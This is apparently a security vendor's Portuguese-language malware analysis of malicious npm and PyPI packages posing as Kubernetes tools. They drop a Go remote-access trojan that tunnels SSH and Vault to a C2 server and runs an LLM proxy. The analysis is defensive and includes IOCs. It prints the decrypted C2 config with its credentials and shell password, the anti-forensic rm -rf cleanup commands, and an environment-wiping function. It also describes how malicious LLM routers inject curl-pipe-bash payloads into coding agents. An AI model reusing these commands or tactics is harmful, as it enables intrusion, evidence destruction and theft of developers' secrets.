A porta traseira GPT-Proxy no npm e no PyPI transforma servidores em retransmissores de modelos de linguagem de grande escala chineses

Recentemente, detetámos dois pacotes maliciosos no npm (kube-health-tools) e PyPI (kube-node-health) que parecem ter sido concebidos para atacar ambientes Kubernetes. Ambos os pacotes são inofensivos à primeira vista, utilizando nomes que fazem referência ao Kubernetes para parecerem legítimos. Mas, nos bastidores, instalam silenciosamente um serviço completo de proxy LLM na máquina da vítima, permitindo ao atacante encaminhar o tráfego LLM através do servidor comprometido, como se este fosse apenas mais um nó de retransmissão numa plataforma comercial de revenda de IA.

Fase 1: Os Desistentes

Ambos os pacotes incluem um ficheiro binário nativo compilado como conteúdo.

Os dois ficheiros da fase 1 são:

• __init___cpython-311-x86_64-linux-gnu.so  (Pacote PyPI)
• addon.node  (pacote npm)

Ambos são ficheiros binários nativos que são executados ao serem importados ou ao require(). O .então é uma extensão Python compilada em Cython; a .node é um complemento nativo do Node.js. Ambos descarregam um binário de fase 2 do GitHub. O URL codificado no dropper do PyPI remete para:

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-linux-amd64-packed

O npm dropper obtém uma versão mais avançada da mesma versão:

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-full-linux-amd64-packed

Ambos os ficheiros binários são gravados em /tmp/.kh, marcado como executável e executado imediatamente.

Ambos os droppers também incorporam blobs de configuração encriptados com XOR, que são canalizados diretamente para o binário da fase 2 no momento da execução. O binário da fase 2 lê a configuração a partir do stdin, desencripta-a e utiliza-a como configuração de tempo de execução:

{
  "server": "https://sync[.]geeker[.]indevs[.]in",
  "auth": "skywork:e5c2b988f369d9e51f30985eb8c1c5ae",
  "tunnels": [
    "R:4444:127.0.0.1:0",
    "R:4446:127.0.0.1:22",
    "R:4445:127.0.0.1:8200"
  ],
  "shell": {
    "enabled": true,
    "password": "123qweASD",
    "auth_keys": []
  },
  "disguise": {
    "process_name": "node-health-check",
    "argv": "--mode=daemon"
  },
  "keepalive": "25s",
  "max_retry_interval": "30s",
  "headers": {
    "User-Agent": "Mozilla/5.0"
  },
  "tls_skip_verify": true
}

A configuração revela vários aspetos sobre a operação. O servidor de comando e controlo (C2) é sync[.]geeker[.]indevs[.]in, autenticado com uma credencial predefinida (skywork:e5c2b988f369d9e51f30985eb8c1c5ae). O bloco de disfarce instrui o implante a disfarçar o seu processo como node-health-check --mode=daemon, misturando-se com as ferramentas legítimas numa lista de processos.

Os três túneis reversos na configuração mapeiam, cada um, uma porta no servidor C2 do atacante para um serviço local na máquina da vítima:

• Porta 4444 rotas para 127.0.0.1:0 (o representante da LLM)
• Porta 4446 rotas para 127.0.0.1:22 (o servidor SSH da vítima)
• Porta 4445 rotas para 127.0.0.1:8200 (A porta padrão do HashiCorp Vault, um secrets frequentemente utilizado em ambientes Kubernetes)

A variante do npm inclui também um mecanismo de fallback do ngrok, que alterna entre um conjunto de contas ngrok fornecidas pelo C2, expondo o servidor da vítima através de um ponto de acesso público.

Após iniciar o executável da fase 2, o script dropper apaga ativamente os vestígios da sua própria execução. Ele elimina o executável descarregado de /tmp/.kh, elimina um segundo ficheiro temporário em /tmp/.ns, e depois, mais notavelmente, elimina recursivamente todo o kube-health-tools diretório do pacote a partir de node_modules:

sleep 2
rm -f $P $S
find / -type d -name "kube-health-tools" -caminho "*/node_modules/*" -exec rm -rf {} + 2>/dev/null

Dois segundos após o arranque do binário da fase 2, todos os vestígios da instalação desaparecem. Uma análise forense pós-incidente de node_modules não encontrará nada.

Fase 2: Trojan de acesso remoto

O binário da fase 2 é um binário Go compilado que reúne várias funcionalidades num único executável. Ele estabelece ligação com sync[.]geeker[.]indevs[.]in através do WebSocket, estabelece uma sessão SSH e utiliza um Perfuração de túneis com cinzel protocolo para registar os túneis definidos na configuração.

O implante implementa o Chisel Tunneling através do WebSocket:

• Proxy SOCKS5: O ficheiro binário pode disponibilizar um proxy SOCKS5 completo, permitindo que o atacante encaminhe tráfego TCP arbitrário através da rede da vítima.
• Shell reverso: Configurado com a palavra-passe (123qweASD) encontrado no bloco de configuração do dropper, proporcionando um terminal interativo completo.
• Servidor SFTP: Inclui um servidor SFTP completo, concedendo ao atacante acesso total de leitura e escrita ao sistema de ficheiros.
• Proxy LLM: Um gateway de API compatível com a OpenAI que aceita pedidos e os encaminha para o upstream através de routers fornecidos pelo atacante.

O ficheiro binário toma o cuidado de se ocultar após o arranque. Renomeia o seu processo para verificação do estado do nó com o argumento --mode=daemon, fazendo com que se misture com as ferramentas legítimas numa lista de processos. Além disso, limpa todas as variáveis de ambiente relevantes imediatamente após o arranque:

func ClearEnv() {
    for _, name := range []string{"NHC_CFG", "KH_CFG", "NHC_KEY", "NHC_KEY_FILE"} {
        os.Unsetenv(name)
    }
    const aesKey = "s0m3R4nd0mK3y2026xYz"
    for _, kv := range os.Environ() {
        parts := strings.SplitN(kv, "=", 2)
        if len(parts) == 2 && strings.Contains(parts[1], aesKey) {
            os.Unsetenv(parts[0])
        }
    }
}

Isto garante que, se um KH_CFG ou NHC_CFG Se a variável de substituição de operador tiver sido definida, ela desaparece do ambiente antes que qualquer verificação a consiga detetar.

O Proxy LLM

O implante inclui um proxy LLM totalmente funcional e compatível com a OpenAI, incorporado diretamente no binário da fase 2. Parece ser um gateway de API que aceita pedidos e os encaminha para APIs a montante, incluindo roteadores LLM chineses como o shubiaobiao.

O proxy disponibiliza quatro rotas de entrada, acessíveis através do túnel:

• GET /health → 200 OK
• GET /v1/modelos → listar todos os modelos configurados
• POST /v1/chat/completions → rota para o upstream
• POST /v1/completions → rota para o upstream

Quando uma solicitação é recebida /v1/chat/sugestões, o proxy:

1. Lê o modelo campo do corpo da solicitação
2. Procura o nome do modelo numa tabela de encaminhamento fornecida pelo C2
3. Seleciona uma chave API a partir de normal ou key_ultra pool, dependendo da configuração tipo_de_chave campo
4. Reescreve o pedido com o host de origem, o caminho e o token de autenticação Bearer.
5. Encaminha o pedido e transmite a resposta

A partir das cadeias de caracteres dos caminhos a montante encontradas no ficheiro binário, a tabela de encaminhamento associa nomes de modelos a caminhos como estes:

https://<url_from_c2>/gpt-proxy/shubiaobiao/chat/completions
https://<url_from_c2>/gpt-proxy/cloudsway/chat/completions
https://<url_from_c2>/gpt-proxy/aliyun/chat/completions
https://<url_from_c2>/gpt-proxy/volengine/chat/completions
https://<url_from_c2>/gpt-proxy/aws/claude/chat/completions
https://<url_from_c2>/gpt-proxy/azure/chat/completions
https://<url_from_c2>/gpt-proxy/google/claude/chat/completions
https://<url_from_c2>/gpt-proxy/xmind/claude/chat/completions
https://<url_from_c2>/gpt-proxy/kuanbang/chat/completions
https://<url_from_c2>/gpt-proxy/deepseek/reasoner
https://<url_from_c2>/gpt-proxy/router/chat/completions

O /gpt-proxy/ O prefixo do caminho, combinado com nomes de fornecedores como shubiaobiao, cloudsway e volengine, aponta para agregadores intermediários, em vez de APIs oficiais dos fornecedores. Nem api.openai.com nem api.anthropic.com aparecer em qualquer parte do ficheiro binário.

O ficheiro binário contém 109 cadeias de caracteres com nomes de modelos codificados de forma rígida, utilizadas para construir a resposta /v1/models. Estas abrangem os principais fornecedores de modelos de inteligência artificial, incluindo modelos da Anthropic (claude-opus-4.6, claude-sonnet-4.6-pensamento), OpenAI (gpt-5.4, gpt-5.3-codex), Google (gemini-3.1-pro-preview, gemini-2.5-flash), ByteDance VolcEngine (doubao-seed-1.8-pro-251215, doubao_2050_write_agent_v7), e a Alibaba (qwen3-235b-a22b-instruções-2507).

O ecossistema de proxies chinês

A utilização de servidores proxy em máquinas comprometidas é uma prática recorrente no panorama das ameaças na China, motivada, em parte, pelas restrições impostas pelo Grande Firewall. Anteriormente, AhnLab descobriu que os atacantes estavam a utilizar ferramentas como o TinyProxy e o Sing-box em servidores honeypot vulneráveis para executar serviços de proxy ocultos. De facto, a conta do GitHub gibunxi4201, que aloja a carga útil da fase 2, parece ter outros projetos relacionados com proxies no seu histórico de lançamentos, o que é consistente com um operador que se dedica principalmente à infraestrutura de proxies.

Estas ferramentas de proxy são frequentemente implementadas em servidores vulneráveis para obter endereços IP de proxy gratuitos, mas também em serviços gratuitos como o HuggingFace, o Databricks e o Streamlit, para navegar na Internet sem as restrições do Grande Firewall. O padrão é sempre o mesmo: encontrar um recurso barato ou comprometido e transformá-lo num servidor de proxy gratuito.

Os programadores chineses muitas vezes não conseguem aceder a modelos de IA devido a restrições regionais. Isto criou um mercado paralelo em expansão para o acesso a APIs de LLM. Plataformas chinesas como a Xianyu, a Goofish e o Taobao estão repletas de anúncios de vendedores que oferecem acesso ao ChatGPT, ao Claude e ao Gemini por uma fração dos preços oficiais através de pontos de acesso de routers (como os encontrados neste malware). Há até vendedores que oferecem cursos sobre como rentabilizar a gestão dos seus próprios routers de LLM.

Routers LLM maliciosos

Para além de proporcionarem acesso a baixo custo à IA, os routers LLM como o que foi implementado aqui situam-se numa fronteira de confiança que é facilmente vulnerável a abusos. Uma vez que todos os pedidos passam pelo router em texto simples, um operador mal-intencionado pode, tal como documentado por Hanzhi Liu et al.:

• Inserir chamadas a ferramentas maliciosas nas respostas dos agentes de codificação antes de estas chegarem ao cliente, introduzindo código malicioso pip install ou curl | bash cargas úteis em pleno voo
• Extrair secretamente secrets corpos das solicitações e respostas, incluindo chaves de API, credenciais da AWS, tokens do GitHub, chaves privadas de Ethereum e solicitações do sistema

Os investigadores descobriram que, num conjunto de 428 routers comuns, 9 estavam a injetar ativamente código malicioso nas chamadas de ferramentas devolvidas e 17 foram apanhados a aceder às credenciais «canary» da AWS pertencentes aos investigadores, após as terem observado em trânsito.

Embora não tenhamos encontrado indícios de injeção ou exfiltração neste implante específico, qualquer programador cujas ferramentas de codificação de IA sejam encaminhadas através de uma máquina comprometida está, na prática, a passar toda a sua janela de contexto por um relé controlado por um adversário.

Como o Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para uma cobertura mais ampla em toda a sua equipe, o Endpoint Protection do Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins de IDE e dependências de build, tudo em um só lugar. Impeça o malware antes que ele seja instalado.

Para proteção futura, considere Aikido Chain (código aberto). O Safe Chain integra-se no seu fluxo de trabalho atual, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando os pacotes com base Aikido antes da instalação.

IOCs

Pacotes maliciosos

• PyPI: kube-node-health
• npm: kube-health-tools

Hashes de ficheiros

• ‍__init___cpython-311-x86_64-linux-gnu.so (Fase 1 do PyPI)
  
  • SHA256: b3405b8456f4e82f192cdff6fdd5b290a58fafda01fbc08174105b922bd7b3cf
• ‍addon.node (npm fase 1)
  
  • SHA256: 5d58ce3119c37f2bd552f4d883a4f4896dfcb8fb04875f844f999497e4ca846d
• kube-diag-linux-amd64-compactado (variante PyPI de fase 2)
  
  • SHA256: fb3ae78d09c119ec335c3b99a95c97d9bb6f92fd2c7c9b0d3e875347e2f25bb2
• kube-diag-full-linux-amd64-compactado (variante npm da fase 2)
  
  • SHA256: 3a3d8f8636fa1db21871005a49ecd7fa59688fa763622fa737ce6b899558b300

Indicadores de rede

• Servidor C2: sync[.]geeker[.]indevs[.]in
• Download da Fase 2: github[.]com/gibunxi4201/kube-node-diag

Indicadores de processo

• Nome do processo: verificação do estado do nó‍
• Caminhos temporários de download: /tmp/.kh e /tmp/.ns